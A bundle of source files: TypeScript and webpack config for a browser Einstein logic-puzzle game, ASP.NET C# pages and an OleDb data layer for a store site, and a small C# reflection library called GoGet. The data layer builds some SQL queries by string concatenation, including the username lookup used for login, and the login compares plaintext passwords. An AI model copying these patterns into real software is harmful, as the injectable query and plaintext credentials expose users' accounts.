export class DifficultyHintsGenerator implements HintsGenerator {
constructor(private generators: Record<Difficulty, HintsGenerator>) {
}
supports(options: PuzzleOptions): boolean {
return this.generators[options.difficulty].supports(options);
}
generate(options: PuzzleOptions, board: SingleBoard): Promise<Hint[]> {
return this.generators[options.difficulty].generate(options, board);
}
}<file_sep>import * as _ from "lodash";
import {Distribution} from "../math/Distribution";
import {PairsDistribution} from "../math/PairsDistribution";
import {BoardOptions} from "./board/Board";
import {SingleBoard} from "./board/SingleBoard";
import {AdjacentHintFactory} from "./hint/AdjacentHint";
import {BetweenHintFactory} from "./hint/BetweenHint";
import {DirectionHintFactory} from "./hint/DirectionHint";
import {Hint, HintFactory} from "./hint/Hint";
import {OpenHintFactory} from "./hint/OpenHint";
import {SameColumnHintFactory} from "./hint/SameColumnHint";
export class RandomHintFactory implements HintFactory {
// hint frequency distribution from original einstein 2.0
private defaultDist: Distribution<HintFactory> = new PairsDistribution<HintFactory>([
[new AdjacentHintFactory(), 4],
[new OpenHintFactory(), 1],
[new SameColumnHintFactory(), 2],
[new DirectionHintFactory(), 4],
[new BetweenHintFactory(), 3]
]);
supports(options: BoardOptions): boolean {
return this.defaultDist.filter((freq, value) => value.supports(options)).classes > 0;
}
random(board: SingleBoard): Hint {
let dist = this.defaultDist.filter((freq, value) => value.supports(board.options));
let hintFactory: HintFactory = dist.random();
return hintFactory.random(board);
}
}<file_sep>import {PuzzleOptions} from "../puzzle/Puzzle";
export function formatOptions(options: PuzzleOptions): string {
let difficultyText = options.difficulty === "hard" ? "hard " : "";
let extraHintsText = options.extraHintsPercent > 0 ? ` with ${options.extraHintsPercent}% extra hints` : "";
return `${options.rows}×${options.cols} ${difficultyText}puzzle${extraHintsText}`;
}<file_sep>import {EinsteinDatabase} from "./EinsteinDatabase";
export let db = new EinsteinDatabase();<file_sep>var path = require("path");
var webpack = require("webpack");
var ExtractTextPlugin = require("extract-text-webpack-plugin");
var HtmlWebpackPlugin = require("html-webpack-plugin");
var PreloadWebpackPlugin = require('preload-webpack-plugin');
var CopyWebpackPlugin = require("copy-webpack-plugin");
var CleanWebpackPlugin = require("clean-webpack-plugin");
module.exports = {
entry: {
app: "./src/index.tsx"
},
output: {
filename: "[name].js",
path: path.resolve(__dirname, "dist")
},
devtool: "source-map",
resolve: {
extensions: [".webpack.js", ".web.js", ".ts", ".tsx", ".js"],
alias: {
"package.json$": path.resolve(__dirname, "package.json")
}
},
node: {
// empty imports for z3em
fs: "empty",
path: "empty",
crypto: "empty",
// false for everything else
console: false,
global: false,
process: false,
Buffer: false,
setImmediate: false
},
module: {
rules: [
{
test: /\.tsx?$/,
use: "ts-loader"
},
{
test: /\.less$/,
use: ExtractTextPlugin.extract({
fallback: {
loader: "style-loader",
options: {
sourceMap: true
}
},
use: [
{
loader: "css-loader",
options: {
sourceMap: true,
importLoaders: 1 // https://github.com/webpack-contrib/css-loader#importloaders
}
},
{
loader: "postcss-loader",
options: {
sourceMap: true
}
},
{
loader: "less-loader",
options: {
sourceMap: true
}
}
]
})
},
{
test: /\.(png|svg|jpg|gif)$/,
use: {
loader: "file-loader",
query: {
name: "[name].[ext]",
useRelativePath: true
}
}
},
{
test: /manifest\.json$/,
use: {
loader: "file-loader",
query: {
name: "[name].[ext]"
}
}
},
{
test: /\.wasm$/,
use: {
loader: "file-loader",
query: {
// always include hash for WASM cache invalidation in IndexedDB
name: "[name].[hash].[ext]"
}
}
}
]
},
plugins: [
// https://webpack.js.org/guides/output-management/#cleaning-up-the-dist-folder
new CleanWebpackPlugin(['dist']),
// https://webpack.js.org/guides/code-splitting-libraries/#manifest-file
new webpack.optimize.CommonsChunkPlugin({
name: "vendor",
minChunks: function (module) {
// this assumes your vendor imports exist in the node_modules directory
return module.context && module.context.indexOf("node_modules") !== -1;
}
}),
//CommonChunksPlugin will now extract all the common modules from vendor and main bundles
new webpack.optimize.CommonsChunkPlugin({
name: "manifest" //But since there are no more common modules between them we end up with just the runtime code included in the manifest file
}),
new HtmlWebpackPlugin({
title: "einstein-js",
template: "./src/index.ejs",
favicon: "./src/einstein.ico"
}),
new PreloadWebpackPlugin({
rel: "prefetch",
include: "allAssets",
fileWhitelist: [/\.png$/],
as: "image"
}),
new webpack.NamedChunksPlugin(),
new CopyWebpackPlugin([
{
from: "./src/einstein-*.png", // TODO: don't hardcode icon png
to: "./",
flatten: true
}
])
]
};<file_sep>import {expect} from "chai";
import "mocha";
import {mean, stdDev, variance} from "../../src/math/statistics";
describe("statistics", function () {
const exampleStudents = [2, 4, 4, 4, 5, 5, 7, 9]; // https://en.wikipedia.org/wiki/Standard_deviation#Population_standard_deviation_of_grades_of_eight_students
describe("mean()", function () {
it("should return the arithmetic mean", function () {
expect(mean(exampleStudents)).to.equal(5);
});
});
describe("variance()", function () {
it("should return the variance", function () {
expect(variance(exampleStudents)).to.equal(4);
});
});
describe("stdDev()", function () {
it("should return square root of the variance", function () {
expect(stdDev(exampleStudents)).to.equal(2);
});
});
});<file_sep>import "mocha";
import {expect} from "chai";
import {Distribution} from "../../src/math/Distribution";
import {NumericObject, ObjectDistribution} from "../../src/math/ObjectDistribution";
import {SingleBoard} from "../../src/puzzle/board/SingleBoard";
import {RandomHintFactory} from "../../src/puzzle/RandomHint";
import {BoardOptions} from "../../src/puzzle/board/Board";
import {contextObject, param} from "../param";
import {paramBoardOptionsExtra} from "./paramPuzzle";
describe("RandomHintFactory", function () {
const factory = new RandomHintFactory();
describe("#supports()", function () {
context("large enough board", function () {
paramBoardOptionsExtra([
{rows: 1, cols: 2},
{rows: 2, cols: 1},
{rows: 1, cols: 1}
], function (options) {
it("should return true", function () {
expect(factory.supports(options)).to.be.true;
});
});
});
// no too small boards
});
describe("#random()", function () {
function testDistribution(options: BoardOptions, expectedObject: NumericObject) {
let board = SingleBoard.random(options);
let observed: Distribution<string> = ObjectDistribution.monteCarlo(10000, () => {
let hint = factory.random(board);
return (hint.constructor as any).name; // TODO: don't use any
});
let expected: Distribution<string> = new ObjectDistribution(expectedObject);
Distribution.expectSame(observed, expected, 0.001);
}
context("large enough board", function () {
param<BoardOptions>([
{rows: 6, cols: 6},
{rows: 5, cols: 5},
{rows: 4, cols: 4},
{rows: 3, cols: 3},
], function (options) {
it("should have original einstein 2.0 hint distribution", function () {
testDistribution(options, {
AdjacentHint: 4,
OpenHint: 1,
SameColumnHint: 2,
DirectionHint: 4,
BetweenHint: 3
});
})
});
});
context("too small board", function () {
contextObject<BoardOptions>({rows: 2, cols: 2}, function (options) {
it("should have original einstein 2.0 hint distribution without BetweenHint", function () {
testDistribution(options, {
AdjacentHint: 4,
OpenHint: 1,
SameColumnHint: 2,
DirectionHint: 4
});
})
});
});
});
});<file_sep>import {expect} from "chai";
import "mocha";
import {MultiBoard} from "../../../src/puzzle/board/MultiBoard";
import {DirectionHint, DirectionHintFactory} from "../../../src/puzzle/hint/DirectionHint";
import {HintType} from "../../../src/puzzle/hint/Hint";
import {BoardOptions} from "../../../src/puzzle/board/Board";
import {SingleBoard} from "../../../src/puzzle/board/SingleBoard";
import {param} from "../../param";
import {paramBoardOptionsExtra} from "../paramPuzzle";
describe("DirectionHint", function () {
describe("#apply()", function () {
let board: MultiBoard;
beforeEach(function () {
board = MultiBoard.full({rows: 4, cols: 4});
});
context("leftward", function () {
const hint = new DirectionHint(1, 2, 0, 3);
beforeEach(function () {
board.remove(1, 0, 2);
});
it("should remove right variant if left variant cannot be to the left", function () {
board.applyHint(hint);
expect(board.isPossible(0, 0, 3)).to.be.false;
expect(board.isPossible(0, 1, 3)).to.be.false;
});
it("should return true if variant is removed", function () {
let changed = board.applyHint(hint);
expect(changed).to.be.true;
});
});
context("rightward", function () {
const hint = new DirectionHint(1, 2, 0, 3);
beforeEach(function () {
board.remove(0, 3, 3);
});
it("should remove left variant if right variant cannot be to the right", function () {
board.applyHint(hint);
expect(board.isPossible(1, 2, 2)).to.be.false;
expect(board.isPossible(1, 3, 2)).to.be.false;
});
it("should return true if variant is removed", function () {
let changed = board.applyHint(hint);
expect(changed).to.be.true;
});
});
it("should not remove more variants than necessary", function () {
board.remove(0, 3, 3);
board.remove(1, 0, 2);
board.applyHint(new DirectionHint(1, 2, 0, 3));
let expectedBoard = MultiBoard.full({rows: 4, cols: 4});
expectedBoard.remove(0, 3, 3);
expectedBoard.remove(1, 0, 2);
expectedBoard.remove(0, 0, 3);
expectedBoard.remove(1, 3, 2);
expectedBoard.remove(0, 1, 3);
expectedBoard.remove(1, 2, 2);
expect(board).to.deep.equal(expectedBoard);
});
it("should return false if variant is not removed", function () {
board.remove(0, 0, 3);
board.remove(1, 3, 2);
let changed = board.applyHint(new DirectionHint(1, 2, 0, 3));
expect(changed).to.be.false;
});
});
it("should have Horizontal type", function () {
expect(new DirectionHint(0, 1, 2, 3).getType()).to.equal(HintType.Horizontal);
});
});
describe("DirectionHintFactory", function () {
const factory = new DirectionHintFactory();
describe("#supports()", function () {
context("large enough board", function () {
paramBoardOptionsExtra([
{rows: 1, cols: 2}
], function (options) {
it("should return true", function () {
expect(factory.supports(options)).to.be.true;
});
});
});
context("too small board", function () {
param<BoardOptions>([
{rows: 1, cols: 1},
{rows: 2, cols: 1},
], function (options) {
it("should return false", function () {
expect(factory.supports(options)).to.be.false;
});
});
});
});
describe("#random()", function () {
context("returned hint", function () {
const options: BoardOptions = {rows: 6, cols: 6};
const board = SingleBoard.random(options);
param.repeat(100, () => factory.random(board), function (hint) {
it("should have valid rowLeft, rowRight", function () {
expect(hint.rowLeft).to.be.within(0, board.rows - 1);
expect(hint.rowRight).to.be.within(0, board.rows - 1);
});
it("should have left and right variant in the correct order", function () {
let colLeft = board.getCol(hint.rowLeft, hint.variantLeft);
let colRight = board.getCol(hint.rowRight, hint.variantRight);
expect(colLeft).to.be.at.least(0);
expect(colRight).to.be.at.least(0);
expect(colLeft).to.be.lessThan(colRight);
});
});
});
});
});<file_sep>import {expect} from "chai";
import {ChiSq} from "./ChiSq";
export interface Distribution<T> {
get(value: T): number | undefined;
readonly n: number;
readonly classes: number;
mapFreqs(f: (freq: number, value: T) => number): Distribution<T>;
map<U>(f: (freq: number, value: T) => U): U[];
filter(p: (freq: number, value: T) => boolean): Distribution<T>;
scale(targetN: number): Distribution<T>;
scaleTo<U>(targetDist: Distribution<U>): Distribution<T>;
random(): T;
}
export namespace Distribution {
export function expectSame<T>(observed: Distribution<T>, expected: Distribution<T>, significanceLevel: number): void {
let pValue = ChiSq.test(observed, expected);
expect(pValue).to.not.be.lessThan(significanceLevel);
}
}<file_sep>import {expect} from "chai";
import "mocha";
import {lowerQuartile, median, upperQuartile} from "../../src/math/sortedStatistics";
describe("sortedStatistics", function () {
const example1 = [6, 7, 15, 36, 39, 40, 41, 42, 43, 47, 49]; // https://en.wikipedia.org/wiki/Quartile#Example_1
const example2 = [7, 15, 36, 39, 40, 41]; // https://en.wikipedia.org/wiki/Quartile#Example_2
describe("median()", function () {
context("odd length", function () {
it("should return middle element", function () {
expect(median(example1)).to.equal(40);
});
});
context("even length", function () {
it("should return the average of middle elements", function () {
expect(median(example2)).to.equal(37.5);
});
});
});
describe("lowerQuartile()", function () {
context("odd length", function () {
it("should return the median of lower half, including median", function () {
expect(lowerQuartile(example1)).to.equal(25.5);
});
});
context("even length", function () {
it("should return the median of lower half", function () {
expect(lowerQuartile(example2)).to.equal(15);
});
});
});
describe("upperQuartile()", function () {
context("odd length", function () {
it("should return the median of upper half, including median", function () {
expect(upperQuartile(example1)).to.equal(42.5);
});
});
context("even length", function () {
it("should return the median of upper half", function () {
expect(upperQuartile(example2)).to.equal(40);
});
});
});
});<file_sep>// https://stackoverflow.com/questions/42592104/missing-type-definition-for-idbobjectstore-getall
// https://developer.mozilla.org/en-US/docs/Web/API/IDBObjectStore/getAll
interface IDBObjectStore {
getAll(): IDBRequest;
}<file_sep>var Merge = require("webpack-merge");
var CommonConfig = require("./webpack.common.js");
var webpack = require("webpack");
var ChunkManifestPlugin = require("chunk-manifest-webpack-plugin");
var WebpackChunkHash = require("webpack-chunk-hash");
var ExtractTextPlugin = require("extract-text-webpack-plugin");
var OfflinePlugin = require('offline-plugin');
var CopyWebpackPlugin = require('copy-webpack-plugin');
module.exports = Merge.smart(CommonConfig, {
output: {
filename: "[name].[chunkhash].js",
hashDigestLength: 32 // MD5 actual length
},
module: {
rules: [
{
test: /\.(png|svg|jpg|gif)$/,
use: {
loader: "file-loader",
query: {
name: "[name].[hash].[ext]"
}
}
},
{
test: /manifest\.json$/,
use: {
loader: "file-loader",
query: {
name: "[name].[hash].[ext]"
}
}
}
]
},
plugins: [
new ExtractTextPlugin("[name].[contenthash].css"),
// https://webpack.js.org/guides/caching/#deterministic-hashes
new webpack.HashedModuleIdsPlugin(),
new WebpackChunkHash(),
new ChunkManifestPlugin({
filename: "chunk-manifest.json",
manifestVariable: "webpackManifest",
inlineManifest: true
}),
// https://webpack.js.org/plugins/loader-options-plugin/
new webpack.LoaderOptionsPlugin({
minimize: true,
debug: false
}),
// https://webpack.js.org/guides/production/#node-environment-variable
new webpack.DefinePlugin({
"process.env": {
"NODE_ENV": JSON.stringify("production")
}
}),
// https://webpack.js.org/guides/production/#minification
new webpack.optimize.UglifyJsPlugin({
sourceMap: true
}),
new OfflinePlugin({
excludes: ["**/.*", "**/*.map", "chunk-manifest.json"],
ServiceWorker: {
cacheName: "einstein-js" // DO NOT CHANGE: https://github.com/NekR/offline-plugin/blob/master/docs/options.md#serviceworker-object--null--false
}
}),
new CopyWebpackPlugin([
{
from: "./CNAME"
}
])
]
}); | acecd3496077efc365fe0d9b072a2abd59193ad4 | [
"Markdown",
"Python",
"TypeScript",
"JavaScript"
] | 60 | TypeScript | sim642/einstein-js | 7a4648ce18c65c78625a90fe62b1ace6f8f0df62 | 5dfd8cf2448079c5a2987b35829f77bf0fee97d8 |
refs/heads/main | <file_sep>console.log("vue ok", Vue);
Vue.config.devtools = true;
const app = new Vue({
el: "#app",
data: {
emails: [],
},
methods: {
mountArrayWithTenEmails() {
for (let i = 0; i < 10; i++) {
axios.get("https://flynn.boolean.careers/exercises/api/random/mail").then((res) => {
const responseEmail = res.data.response;
this.emails.push(responseEmail);
})
}
}
},
created() {
this.mountArrayWithTenEmails();
console.log(this.emails);
},
})
| 9c06d3960629b244343fbbaa28636c281921d13e | [
"JavaScript"
] | 1 | JavaScript | FrancescoCina/vue-email-list | 339e81d846169cdf80fdb95853feee69a587e9eb | bb1dd38e840dadfcff0c9e04a9dd6cf8f036fd8c |
refs/heads/master | <file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using System.Web.UI;
using System.Web.UI.WebControls;
public partial class pgLogin : System.Web.UI.Page
{
protected void Page_Load(object sender, EventArgs e)
{
}
protected void txtlogin_Authenticate(object sender, AuthenticateEventArgs e)
{
// Get
clsDataLayer dl = new clsDataLayer(Server.MapPath("~/App_Data/Database_WSC1.accdb"));
dsUserDetails ds = dl.FindUser(txtlogin.UserName);
// Find out if the user exists.
if(ds.tblUser.Count < 1)
{
e.Authenticated = false;
}
//if () e.Authenticated = false;
if (ds.tblUser[0].Password == <PASSWORD> )
{
// Store userName value into session
// Redirect to userdetails page
Session["UserName"] = ds.tblUser[0].UserName;
Response.Redirect("~/pgBilling.aspx");
}
}
}
<file_sep>using System;
using System.Data;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using System.Data.OleDb;
/// <summary>
/// Summary description for clsBusinessLayer
/// </summary>
public class clsBusinessLayer
{ // Create data field for path to App_Data to store XML file
// string dataPath;
// // Create an instance of the data layer
// clsDataLayer myDataLayer;
// public clsBusinessLayer(string serverMappedPath)
// {
// // Intialize data fields
// dataPath = serverMappedPath;
// myDataLayer = new clsDataLayer(dataPath + "Database_WSC1.accdb");
// }
}<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using System.Web.UI;
using System.Web.UI.WebControls;
public partial class pgBilling : System.Web.UI.Page
{
protected void Page_Load(object sender, EventArgs e)
{
if (!IsPostBack) FindUser();
}
// Create methods that get hte data from the textboxes, use the get function to do this.
public TextBox FirstName
{
get { return txtFirstName; }
}
public TextBox LastName
{
get { return txtLastName; }
}
public TextBox City
{
get { return txtCity; }
}
public TextBox State
{
get { return txtState; }
}
public TextBox Address
{
get {return txtAddres; }
}
public TextBox PhoneNumber
{
get { return txtPhoneNumb; }
}
protected void FindUser()
{
// Create an object from dsUserDetails dataset.
dsUserDetails dsFindUserName;
string tempPath = Server.MapPath("~/App_Data/Database_WSC1.accdb");
clsDataLayer dataLayerObj = new clsDataLayer(tempPath);
// Set a data layer object set to the FindUser method in clsDataLayer passing the username as argument
dsFindUserName = dataLayerObj.FindUser((string)Session["UserName"]);
// If records are found in tblUser thenm
if (dsFindUserName.tblUser.Rows.Count > 0)
{
// use the data in the tblUser first postion to set user information in the textboxes
System.Data.DataRow dr = dsFindUserName.tblUser[0];
// Check for null values if so assign a empty string
if (dr["FirstName"] == DBNull.Value) dr["FirstName"] = string.Empty;
if (dr["LastName"] == DBNull.Value) dr["LastName"] = string.Empty;
if (dr["City"] == DBNull.Value) dr["City"] = string.Empty;
if (dr["State"] == DBNull.Value) dr["State"] = string.Empty;
if (dr["PhoneNumber"] == DBNull.Value) dr["PhoneNumber"] = string.Empty;
FirstName.Text = (string)dr["FirstName"];
LastName.Text = (string)dr["LastName"];
City.Text = (string)dr["City"];
State.Text = (string)dr["State"];
Address.Text = (string)dr["Address"];
PhoneNumber.Text = (string)dr["PhoneNumber"];
}
}
protected void btnUpdateUser_Click(object sender, EventArgs e)
{
clsDataLayer dlUpdateUser = new clsDataLayer(Server.MapPath("~/App_Data/Database_WSC1.accdb"));
try
{
dlUpdateUser.UpdateBilling((string)Session["UserName"], txtFirstName.Text, txtLastName.Text, txtCity.Text, txtState.Text, txtAddres.Text, txtPhoneNumb.Text);
}
catch (Exception error) {
string message = "Error updating customer, please check form data. ";
Console.WriteLine(message + " " + error);
}
}
}<file_sep>using System;
using System.Collections.Generic;
using System.Data.OleDb;
using System.Linq;
using System.Web;
/// <summary>
/// Summary description for clsDataLayer
/// </summary>
///
//
public class clsDataLayer
{
OleDbConnection dbConnection;
public clsDataLayer(string Path)
{
//
// TODO: Add constructor logic here
//
dbConnection = new OleDbConnection("PROVIDER=Microsoft.ACE.OLEDB.12.0;Data Source=" + Path);
}
public dsPurchaseHistory GetOrderInfo()
{
// Set data commands and a databse connection that will be used to fill dataset
OleDbDataAdapter sqlDataAdapter = new OleDbDataAdapter("SELECT * FROM tblPurchaseHistory", dbConnection);
// Make an instance of dsUserDetails dataset and fill it with data in tblUser
dsPurchaseHistory myStoreDataSet = new dsPurchaseHistory();
sqlDataAdapter.Fill(myStoreDataSet.tblPurchaseHistory);
// return the filled dataset
return myStoreDataSet;
}
// Method to use to get Purchase Date
public DateTime GetPurchaseDate(long ID)
{
// Create the query to select from tblPurchaseHistory to match ID
string sqlStmt = "Select PurchaseDate From tblPurchaseHistory Where ID = " + ID + " Order By PurchaseDate DESC";
OleDbDataAdapter sqlDataAdapter = new OleDbDataAdapter(sqlStmt, dbConnection);
// Create a dataset and fill the dataset
dsPurchaseHistory myStoreDataSet = new dsPurchaseHistory();
sqlDataAdapter.Fill(myStoreDataSet.tblPurchaseHistory);
// Return what is stored in dataset myStoreDataSet
return myStoreDataSet.tblPurchaseHistory[0].PurchaseDate;
}
// Method to to find all occurences of user by username
public dsUserDetails FindUser(string UserName)
{
// Create the query to select from tblUsers to match username
string sqlStmt = "SELECT * FROM tblUser WHERE UserName = '" + UserName + "'";
OleDbDataAdapter sqlDataAdapter = new OleDbDataAdapter(sqlStmt, dbConnection);
// Create a dataset and fill the dataset
dsUserDetails myStoreDataSet = new dsUserDetails();
sqlDataAdapter.Fill(myStoreDataSet.tblUser);
// Return what is stored in dataset myStoreDataSet
return myStoreDataSet;
}
// Method to accept user's name and address as parameters.
// Find the user by matching parameter ID and update
// field values to match the args sent at call.
public void UpdateBilling(string UserName, string FirstName, string LastName, string City, string State, string Address, string PhoneNumber)
{
// Open a connection to the database
dbConnection.Open();
// Create a SQL query to update the records in the database using @parameters.
string sqlStmt = "UPDATE tblUser SET " +
"City = ?, " +
"State = ?, " +
"PhoneNumber = ?, " +
"FirstName = ?, " +
"LastName = ?, " +
"Address = ? " +
"WHERE (UserName = ?)";
// Create a new dbCommand instance to work with (add and update) with the sqlStmt and connection.
OleDbCommand dbCommand = new OleDbCommand(sqlStmt, dbConnection);
// Set the parameters
dbCommand.Parameters.Add(new OleDbParameter("@city", City));
dbCommand.Parameters.Add(new OleDbParameter("@state", State));
dbCommand.Parameters.Add(new OleDbParameter("@phoneNumber", PhoneNumber));
dbCommand.Parameters.Add(new OleDbParameter("@firstname", FirstName));
dbCommand.Parameters.Add(new OleDbParameter("@lastname", LastName));
dbCommand.Parameters.Add(new OleDbParameter("address", Address));
dbCommand.Parameters.Add(new OleDbParameter("@username", UserName));
// execute sql statement
dbCommand.ExecuteNonQuery();
// Close the database connection
dbConnection.Close();
}
// This can be used by admin and user creating a new account
public void InsertUser(string UserName, string Password, string SecureLevel)
{
// Open a connection to the WSC webapp database
dbConnection.Open();
// Make a varible for SQL insert statement to add new user into the Users table
// by username, password, and securelevel
string sqlStmt = "INSERT INTO tblUser ([UserName], [Password], [SecureLevel])";
// update the values using the sql parameters
sqlStmt += "VALUES (?, ?, ?)";
// New instance of dbCommand object to work with sqlStmt and dbConnection.
OleDbCommand dbCommand = new OleDbCommand(sqlStmt, dbConnection);
// Set the parameters.
OleDbParameter param = new OleDbParameter("@user", UserName);
dbCommand.Parameters.Add(param);
dbCommand.Parameters.Add(new OleDbParameter("@password", Password));
dbCommand.Parameters.Add(new OleDbParameter("@securelevl", SecureLevel));
// execute sql statement
dbCommand.ExecuteNonQuery();
// Close the database connection
dbConnection.Close();
}
public dsUserDetails GetAllUsers()
{
// Set data commands and a databse connection that will be used to fill dataset
OleDbDataAdapter sqlDataAdapter = new OleDbDataAdapter("SELECT * FROM tblUser", dbConnection);
// Make an instance of dsUserDetails dataset and fill it with data in tblUser
dsUserDetails myStoreDataSet = new dsUserDetails();
sqlDataAdapter.Fill(myStoreDataSet.tblUser);
// return the filled dataset
return myStoreDataSet;
}
// Function to get catalog from db
public dsCatalog GetCatalog(long ID)
{
// Set data commands and a databse connection that will be used to fill dataset
OleDbDataAdapter sqlDataAdapter = new OleDbDataAdapter("SELECT * FROM tblCatalog WHERE ID = " + ID, dbConnection);
// Make an instance of dsCatalog dataset and fill it with data in tblCatalog
dsCatalog myStoreDataSet = new dsCatalog();
sqlDataAdapter.Fill(myStoreDataSet.tblCatalog);
// return the filled dataset
return myStoreDataSet;
}
public void InsertCatalogItem(string ItemName, long ID, long ItemNumer, double Price)
{
// Open a connection to the PA database
dbConnection.Open();
// Query statement for tblCatalog
string sqlStmt = "INSERT INTO tblCatalog ([ID], [ItemNumber], [ItemName], [Price]) ";
// update the values using the sql parameters
sqlStmt += "VALUES (?, ?, ?, ?)";
// New instance of dbCommand object to work with sqlStmt and dbConnection.
OleDbCommand dbCommand = new OleDbCommand(sqlStmt, dbConnection);
// Set the parameters.
dbCommand.Parameters.Add(new OleDbParameter("@ID", ID));
OleDbParameter param = new OleDbParameter("@ItemNumber", ItemNumer);
dbCommand.Parameters.Add(param);
dbCommand.Parameters.Add(new OleDbParameter("@ItemName", ItemName));
dbCommand.Parameters.Add(new OleDbParameter("@Price", Price.ToString("C")));
// execute sql statement
dbCommand.ExecuteNonQuery();
// Close the database connection
dbConnection.Close();
}
} | 7c305b1e3e252b7cbc674e2d30c052b9edfba938 | [
"C#"
] | 4 | C# | justrobd/CIS470_Team_A | 4f864453bdde9d64d9cb9e237575539c0c4c3c07 | 0b8fb7b1ecf09752f78ddaaa18d60a171261a772 |
refs/heads/main | <file_sep>/**TodoList
props: { items: [{ text: string, completed: boolean }]}
Renders a list of TodoItem components, passing text and completed to as props.
If the items array is empty, the component should show a span with text: "Nothing to do! :)"**/
import TodoItem from './TodoItem';
function TodoList({items}){
return items.length > 0 ? (
<ul>
{items.map(
({text, completed}) => <TodoItem text={text} completed={completed} />
)}
</ul>
) : (
<h3>Nothing to do!</h3>
);
}
export default TodoList;
| 84e5a20d49b1253eab2a31872a2fe5daa003c5f7 | [
"JavaScript"
] | 1 | JavaScript | AnnaFridman2512/TodoLost-with-react | 29005afeb6363232717c427a527f9c450e9fd610 | eda89cecba795ba4643cf249c909776327fa8c21 |
refs/heads/master | <repo_name>jdemeuse1204/GoGet<file_sep>/GoGet/Go.cs
/*
* GoGet v1.0
* License: The MIT License (MIT)
* Code: https://github.com/jdemeuse1204/GoGet
* Email: <EMAIL>
* Copyright (c) 2015 <NAME>
*/
using System.Linq;
using System.Reflection;
namespace GoGet
{
/// <summary>
/// Travels down the specified path of the object provided to grab the value of the
/// child object
/// </summary>
public static class Go
{
#region Property
/// <summary>
/// Traverses the specified path to find the specified property and grab its value. Will seach both properties and fields on its way to find the final property value
/// </summary>
/// <param name="o">any object with properties/fields/methods</param>
/// <param name="path">Path to object</param>
/// <returns>T</returns>
public static T GetPropertyValue<T>(object o, string path)
{
var info = GetProperty(o, path);
return GetPropertyValue<T>(info);
}
/// <summary>
/// Uses a previous get info to find the properties value.
/// </summary>
/// <typeparam name="T">Result</typeparam>
/// <param name="info">Get Info</param>
/// <returns></returns>
public static T GetPropertyValue<T>(GetInfo info)
{
return info == null
? default(T)
: info.Info is PropertyInfo ? (T)((PropertyInfo)info.Info).GetValue(info.FoundObject) : default(T);
}
/// <summary>
/// Traverses the specified path to find the specified property. Will seach both properties and fields on its way to find the final property
/// </summary>
/// <param name="o">any object with properties/fields/methods</param>
/// <param name="path">Path to object</param>
/// <returns>T</returns>
public static GetInfo GetProperty(object o, string path)
{
var get = Get(o, path);
return GetProperty(get);
}
/// <summary>
/// Traverses the specified path to find the specified property. Will seach both properties and fields on its way to find the final property
/// </summary>
/// <param name="get">Get from any previous search</param>
/// <returns>PropertyInfo</returns>
public static GetInfo GetProperty(Get get)
{
return get == null ? null : new GetInfo(get, get.FoundObject.GetType().GetProperty(get.NavigationPathLast));
}
#endregion
#region Field
/// <summary>
/// Traverses the specified path to find the specified field. Will seach both properties and fields on its way to find the field
/// </summary>
/// <param name="o">any object with properties/fields/methods</param>
/// <param name="path">Path to object</param>
/// <returns>T</returns>
public static GetInfo GetField(object o, string path)
{
var get = Get(o, path);
return GetField(get);
}
/// <summary>
/// Traverses the specified path to find the specified field. Will seach both properties and fields on its way to find the field
/// </summary>
/// <param name="get">Get from any previous search</param>
/// <returns>PropertyInfo</returns>
public static GetInfo GetField(Get get)
{
return get == null ? null : new GetInfo(get, get.FoundObject.GetType().GetField(get.NavigationPathLast));
}
/// <summary>
/// Traverses the specified path to find the specified field and grab its value. Will seach both properties and fields on its way to find the final field value
/// </summary>
/// <param name="o">any object with properties/fields/methods</param>
/// <param name="path">Path to object</param>
/// <returns>T</returns>
public static T GetFieldValue<T>(object o, string path)
{
var info = GetField(o, path);
return GetFieldValue<T>(info);
}
public static T GetFieldValue<T>(GetInfo info)
{
return info == null
? default(T)
: info.Info is FieldInfo ? (T)((FieldInfo)info.Info).GetValue(info.FoundObject) : default(T);
}
#endregion
#region Method
/// <summary>
/// Traverses the specified path to find the specified method. Will seach both properties and fields on its way to find the final method
/// </summary>
/// <param name="o">any object with properties/fields/methods</param>
/// <param name="path">Path to object</param>
/// <returns>T</returns>
public static MethodInfo GetMethod(object o, string path)
{
var get = Get(o, path);
return GetMethod(get);
}
/// <summary>
/// Traverses the specified path to find the specified method. Will seach both properties and fields on its way to find the final method
/// </summary>
/// <param name="get">Get from any previous search</param>
/// <returns>PropertyInfo</returns>
public static MethodInfo GetMethod(Get get)
{
return get == null ? null : get.FoundObject.GetType().GetMethod(get.NavigationPathLast);
}
#endregion
/// <summary>
/// Traverses the specified path to find the base class where the property/field/method resides.
/// </summary>
/// <param name="o">any object with properties/fields/methods</param>
/// <param name="path">Path to object</param>
/// <returns>Get</returns>
public static Get Get(object o, string path)
{
var navigationStack = path.Split('.');
var currentObject = o;
// do not travel over the last item in the stack, that is our value
for (var i = 0; i < navigationStack.Count() - 1; i++)
{
var stackItem = navigationStack[i];
var foundProperty = currentObject.GetType().GetProperty(stackItem);
var foundField = currentObject.GetType().GetField(stackItem);
currentObject = foundProperty != null
? foundProperty.GetValue(currentObject)
: foundField != null ? foundField.GetValue(currentObject) : null;
// if the object is null return default
if (currentObject == null) return null;
}
return new Get(navigationStack.Last(), currentObject);
}
}
}
<file_sep>/GoGet/Get.cs
/*
* GoGet v1.0
* License: The MIT License (MIT)
* Code: https://github.com/jdemeuse1204/GoGet
* Email: <EMAIL>
* Copyright (c) 2015 <NAME>
*/
namespace GoGet
{
public class Get
{
public Get(string navigationPathLast, object foundObject)
{
NavigationPathLast = navigationPathLast;
FoundObject = foundObject;
}
public readonly string NavigationPathLast;
public readonly object FoundObject;
}
}
<file_sep>/GoGet/GetInfo.cs
/*
* GoGet v1.0
* License: The MIT License (MIT)
* Code: https://github.com/jdemeuse1204/GoGet
* Email: <EMAIL>
* Copyright (c) 2015 <NAME>
*/
using System.Reflection;
namespace GoGet
{
public class GetInfo : Get
{
public readonly MemberInfo Info;
public GetInfo(string navigationPathLast, object foundObject, MemberInfo info)
: base(navigationPathLast, foundObject)
{
Info = info;
}
public GetInfo(Get get, MemberInfo info)
: base(get.NavigationPathLast, get.FoundObject)
{
Info = info;
}
}
}
<file_sep>/GoGet.Tests/MyNestedClass.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace GoGet.Tests
{
public class MyNestedClass
{
public MyNestedClass()
{
MyNameProperty = "James";
MyNameField = "Demeuse";
}
public void MyMethod()
{
}
